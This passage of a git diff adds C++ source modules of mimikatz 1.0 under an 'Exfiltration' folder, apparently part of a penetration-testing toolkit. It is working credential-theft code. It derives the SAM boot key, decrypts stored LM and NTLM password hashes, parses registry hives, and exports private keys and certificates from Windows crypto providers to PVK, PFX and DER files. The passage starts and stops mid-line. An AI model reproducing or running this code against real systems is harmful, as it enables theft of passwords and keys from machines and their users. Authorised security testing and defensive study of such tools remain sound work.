dataSize); + CryptDestroyKey(hKey); + } + delete[] myKey; + CryptReleaseContext(hCryptProv, 0); + } + } + return retour; +} + +void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les clés >= 128 bits (16 octets) +{ + ULONG i, j, k = 0, kpos = 0; + BYTE S[256], *pos = data; + + for (i = 0; i < 256; i++) + S[i] = static_cast(i); + + for (i = 0, j = 0; i < 256; i++) + { + j = (j + S[i] + key[kpos]) & 0xff; + kpos++; + if (kpos >= keylen) + kpos = 0; + S_SWAP(i, j); + } + + for (i = 0, j = 0; k < data_len; k++) + { + i = (i + 1) & 0xff; + j = (j + S[i]) & 0xff; + S_SWAP(i, j); + *pos++ ^= S[(S[i] + S[j]) & 0xff]; + } +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h new file mode 100644 index 0000000..582ed36 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h @@ -0,0 +1,60 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include +#include + +#define PVK_FILE_VERSION_0 0 +#define PVK_MAGIC 0xb0b5f11e // bob's file +#define PVK_NO_ENCRYPT 0 +#define PVK_RC4_PASSWORD_ENCRYPT 1 +#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2 + +class mod_crypto +{ +public: + typedef struct _KIWI_KEY_PROV_INFO { + std::wstring pwszContainerName; + std::wstring pwszProvName; + DWORD dwProvType; + DWORD dwFlags; + DWORD cProvParam; + DWORD dwKeySpec; + } KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO; + +private: + typedef struct _GENERICKEY_BLOB { + BLOBHEADER BlobHeader; + DWORD dwKeyLen; + } GENERICKEY_BLOB, *PGENERICKEY_BLOB; + + typedef struct _FILE_HDR { + DWORD dwMagic; + DWORD dwVersion; + DWORD dwKeySpec; + DWORD dwEncryptType; + DWORD cbEncryptData; + DWORD cbPvk; + } FILE_HDR, *PFILE_HDR; + + static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg); +public: + static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore); + + static bool getVectorSystemStores(vector * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER); + static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName); + static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo); + + static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE); + static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password); + static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile); + static wstring KeyTypeToString(DWORD keyType); + + static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0); + static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes) +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp new file mode 100644 index 0000000..f886f09 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp @@ -0,0 +1,138 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptoapi.h" +HMODULE mod_cryptoapi::hRsaEng = NULL; + +bool mod_cryptoapi::loadRsaEnh() +{ + if(!hRsaEng) + hRsaEng = LoadLibrary(L"rsaenh"); + return (hRsaEng != NULL); +} + +bool mod_cryptoapi::unloadRsaEnh() +{ + if(hRsaEng) + FreeLibrary(hRsaEng); + return true; +} + +bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider) +{ + map mesProviders; + mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV)); + mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV)); + mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP)); + + map::iterator monIterateur = mesProviders.find(ProviderName); + *Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName; + return true; +} + +bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType) +{ + map mesTypes; + mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL)); + mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG)); + mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS)); + mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA)); + mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE)); + mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL)); + mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL)); + mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS)); + mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG)); + mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC)); + mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF)); + mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES)); + + map::iterator monIterateur = mesTypes.find(ProviderTypeName); + if(monIterateur != mesTypes.end()) + { + *ProviderType = monIterateur->second; + return true; + } + else return false; +} + +bool mod_cryptoapi::getVectorProviders(vector * monVectorProviders) +{ + DWORD index = 0; + DWORD provType; + DWORD tailleRequise; + + while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise)) + { + wchar_t * monProvider = new wchar_t[tailleRequise]; + if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise)) + { + monVectorProviders->push_back(monProvider); + } + delete[] monProvider; + index++; + } + return (GetLastError() == ERROR_NO_MORE_ITEMS); +} + +bool mod_cryptoapi::getVectorContainers(vector * monVectorContainers, bool isMachine, wstring provider, DWORD providerType) +{ + bool reussite = false; + + HCRYPTPROV hCryptProv = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) + { + DWORD tailleRequise = 0; + char * containerName = NULL; + DWORD CRYPT_first_next = CRYPT_FIRST; + bool success = false; + + success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0); + while(success) + { + containerName = new char[tailleRequise]; + if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast(containerName), &tailleRequise, CRYPT_first_next) != 0)) + { + wstringstream resultat; + resultat << containerName; + monVectorContainers->push_back(resultat.str()); + } + delete[] containerName; + CRYPT_first_next = CRYPT_NEXT; + } + reussite = (GetLastError() == ERROR_NO_MORE_ITEMS); + CryptReleaseContext(hCryptProv, 0); + } + + return reussite; +} + +bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType) +{ + bool reussite = false; + + if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport)) + { + *monExport = new BYTE[*tailleExport]; + if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0))) + delete[] monExport; + + } + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h new file mode 100644 index 0000000..8c70b48 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include +#include + +class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */ +{ +private: + static HMODULE hRsaEng; +public: + static bool getProviderString(wstring ProviderName, wstring * Provider); + static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType); + + static bool getVectorProviders(vector * monVectorProviders); + static bool getVectorContainers(vector * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL); + static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB); + + static bool loadRsaEnh(); + static bool unloadRsaEnh(); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp new file mode 100644 index 0000000..690f390 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp @@ -0,0 +1,143 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptong.h" + +HMODULE hNcrypt = LoadLibrary(L"ncrypt"); + +PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider")); +PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptEnumKeys")); +PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptOpenKey")); +PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptExportKey")); +PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptGetProperty")); + +PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptFreeBuffer")); +PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptFreeObject")); + +PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders")); +PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast(GetProcAddress(hNcrypt, "BCryptFreeBuffer")); + +bool mod_cryptong::isNcrypt = ( + hNcrypt && + K_NCryptOpenStorageProvider && + K_NCryptEnumKeys && + K_NCryptOpenKey && + K_NCryptExportKey && + K_NCryptGetProperty && + K_NCryptFreeBuffer && + K_NCryptFreeObject && + K_BCryptEnumRegisteredProviders && + K_BCryptFreeBuffer +); + +bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS) + reussite = (K_NCryptFreeObject(hProvider) == 0); + + return reussite; +} + + +bool mod_cryptong::getVectorProviders(vector * monVectorProviders) +{ + bool reussite = false; + + DWORD cbBuffer; + PCRYPT_PROVIDERS pBuffer = NULL; + + if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0)) + { + for(DWORD i = 0; i < pBuffer->cProviders; i++) + monVectorProviders->push_back(pBuffer->rgpszProviders[i]); + K_BCryptFreeBuffer(pBuffer); + } + + return reussite; +} + +bool mod_cryptong::getVectorContainers(vector * monVectorContainers, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + NCryptKeyName * pKeyName; + PVOID pEnumState = NULL; + + SECURITY_STATUS retour; + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS) + { + monVectorContainers->push_back(pKeyName->pszName); + K_NCryptFreeBuffer(pKeyName); + } + reussite = (retour == NTE_NO_MORE_ITEMS); + + if(pEnumState) + K_NCryptFreeBuffer(pEnumState); + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + +bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS; + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + + + +bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize) +{ + DWORD tailleEcrite = 0; + return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)); +} + + +bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable) +{ + bool reussite = false; + DWORD tailleEcrite = 0, exportability = 0; + + if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD))) + { + *isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0; + } + return reussite; +} + +bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType) +{ + SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0); + if(monRetour == ERROR_SUCCESS) + { + *monExport = new BYTE[*tailleExport]; + monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0); + + if(monRetour != ERROR_SUCCESS) + delete[] monExport; + } + SetLastError(monRetour); + return (monRetour == ERROR_SUCCESS); +} + + +bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject) +{ + return (K_NCryptFreeObject(hObject) == 0); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h new file mode 100644 index 0000000..3eec5b6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */ +{ +public: + static bool getVectorProviders(vector * monVectorProviders); + static bool getVectorContainers(vector * monVectorContainers, bool isMachine = false); + static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false); + static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize); + static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable); + static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB); + static bool NCryptFreeObject(NCRYPT_HANDLE hObject); + + static bool isNcrypt; + static bool justInitCNG(LPCWSTR pszProviderName = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp new file mode 100644 index 0000000..fe32c49 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp @@ -0,0 +1,150 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hash.h" + +PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006")); +PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007")); +PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString")); +PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); +PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString")); + +bool mod_hash::lm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + OEM_STRING maDestination; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE))) + { + if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + + RtlFreeOemString(&maDestination); + } + return status; +} + +bool mod_hash::ntlm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + return status; +} + +void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]) +{ + BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04}; + for(unsigned int i = 0; i < 0x10; i++) + bootkey[i] = key[permut[i]]; +} + +bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF) +{ + bool reussite = false; + unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"; + unsigned char num[] = "0123456789012345678901234567890123456789"; + + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = sizeof(md5hash); + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, AccountsF + 0x70, 0x10, 0); + CryptHashData(hHash, qwe, sizeof(qwe), 0); + CryptHashData(hHash, bootKey, 0x10, 0); + CryptHashData(hHash, num, sizeof(num), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + CryptReleaseContext(hCryptProv, 0); + reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10); + } + return reussite; +} + +bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm) +{ + bool reussite = false; + unsigned char ntpassword[] = "NTPASSWORD"; + unsigned char lmpassword[] = "LMPASSWORD"; + + BYTE obfkey[0x10]; + BYTE mes2CleDES[0x10]; + + if(encHash->lenght == 0x10 + 4) + { + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = 0x10; + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, hBootKey, 0x10, 0); + CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0); + CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + + CryptReleaseContext(hCryptProv, 0); + + if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10)) + { + sid_to_key1(rid, mes2CleDES); + sid_to_key2(rid, mes2CleDES + 8); + + reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) && + mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES); + } + } + } + hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L""); + + return reussite; +} + +void mod_hash::str_to_key(BYTE *str, BYTE *key) +{ + key[0] = str[0] >> 1; + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2); + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3); + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4); + key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5); + key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6); + key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7); + key[7] = str[6] & 0x7f; + for (DWORD i = 0; i < 8; i++) + key[i] = (key[i] << 1); +} + +void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + s[0] = s[4] = (unsigned char)((sid) & 0xff); + s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff); + s[2] = s[6] = (unsigned char)((sid >>16) & 0xff); + s[3] = (unsigned char)((sid >>24) & 0xff); + str_to_key(s, deskey); +} + +void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + + s[0] = s[4] = (unsigned char)((sid >>24) & 0xff); + s[1] = s[5] = (unsigned char)((sid) & 0xff); + s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff); + s[3] = (unsigned char)((sid >>16) & 0xff); + str_to_key(s, deskey); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.h b/Exfiltration/mimikatz-1.0/modules/mod_hash.h new file mode 100644 index 0000000..19d7c44 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.h @@ -0,0 +1,81 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_text.h" +#include "mod_crypto.h" + +class mod_hash +{ +private: + static PSYSTEM_FUNCTION_006 SystemFunction006; + static PSYSTEM_FUNCTION_007 SystemFunction007; + static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + static PRTL_FREE_OEM_STRING RtlFreeOemString; + +public: + typedef enum _KIWI_HASH_TYPE + { + LM, + NTLM + } KIWI_HASH_TYPE; + + typedef struct _SAM_ENTRY { + DWORD offset; + DWORD lenght; + DWORD unk; +} SAM_ENTRY, *PSAM_SENTRY; + + typedef struct _OLD_LARGE_INTEGER { + unsigned long LowPart; + long HighPart; + } OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; + + typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823 + DWORD unk0_header; + DWORD align; + OLD_LARGE_INTEGER LastLogon; + OLD_LARGE_INTEGER LastLogoff; + OLD_LARGE_INTEGER PasswordLastSet; + OLD_LARGE_INTEGER AccountExpires; + OLD_LARGE_INTEGER PasswordMustChange; + unsigned long UserId; + unsigned long unk1; + unsigned long UserAccountControl; + } USER_F, *PUSER_F; + + typedef struct _USER_V { + SAM_ENTRY unk0; + SAM_ENTRY Username; + SAM_ENTRY Fullname; + SAM_ENTRY Comment; + SAM_ENTRY UserComment; + SAM_ENTRY unk1; + SAM_ENTRY Homedir; + SAM_ENTRY Homedirconnect; + SAM_ENTRY Scriptpath; + SAM_ENTRY Profilepath; + SAM_ENTRY Workstations; + SAM_ENTRY HoursAllowed; + SAM_ENTRY unk2; + SAM_ENTRY LM; + SAM_ENTRY NTLM; + SAM_ENTRY unk3; + SAM_ENTRY unk4; + BYTE datas; + } USER_V, *PUSER_V; + + static bool lm(wstring * chaine, wstring * hash); + static bool ntlm(wstring * chaine, wstring * hash); + + static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]); + static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF); + static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm); + static void str_to_key(BYTE *str, BYTE *key); + static void sid_to_key1(DWORD sid, BYTE deskey[8]); + static void sid_to_key2(DWORD sid, BYTE deskey[8]); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp new file mode 100644 index 0000000..a0e79cd --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp @@ -0,0 +1,242 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hive.h" + +mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset ) +{ + memcpy(nk, h->base + offset + 4, sizeof(nk_hdr)); + nk->key_name = (h->base + offset + 4 + 76); + return nk; +} + +mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset ) +{ + memcpy(lf, h->base+offset+4, sizeof(lf_hdr)); + lf->hr = (h->base+offset+4+4); + return lf; +} + +mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset ) +{ + memcpy(vk, h->base+offset+4, sizeof(vk_hdr)); + vk->value_name = (h->base+offset+4+20); + return vk; +} + +int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size ) +{ + memcpy(value, h->base+offset+4, size*sizeof(int)); + return value; +} + +mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index ) +{ + pos+=(8*index); + memcpy(hr, pos, sizeof(hashrecord)); + return hr; +} + + +unsigned char* mod_hive::read_data(hive *h, int offset ) +{ + return ((unsigned char*) (h->base + offset + 4)); +} + +bool mod_hive::InitHive(hive *h) +{ + h->base = NULL; + return true; +} + +bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h) +{ + bool reussite = false; + FILE *hiveh; + unsigned long hsize; + + if(_wfopen_s(&hiveh, filename, L"rb" ) == 0) + { + if(fseek(hiveh, 0, SEEK_END) == 0) + { + hsize = ftell(hiveh); + h->base = new unsigned char[hsize]; + fseek(hiveh, 0, SEEK_SET); + + if(fread(h->base, 